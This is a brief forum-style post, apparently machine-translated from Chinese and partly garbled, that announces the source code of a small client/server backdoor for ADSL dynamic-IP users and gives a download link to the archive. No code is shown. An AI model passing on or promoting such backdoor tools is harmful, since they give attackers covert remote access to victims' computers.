For C / S is ADSL dynamic IP users, a very simple small back door. Today, the hard disk is turned on, I found this thing in half a year, and the technology is some obsolete. Although the garbage is written, the source code is released. I hope that the beginners have some help, 嘿 高手 无 下, accounting for the space of the hard disk. --- Share and free.
download:
http://www.xfocus.net/tools/200501/adminchick-backdoor.microcq.10-src.rar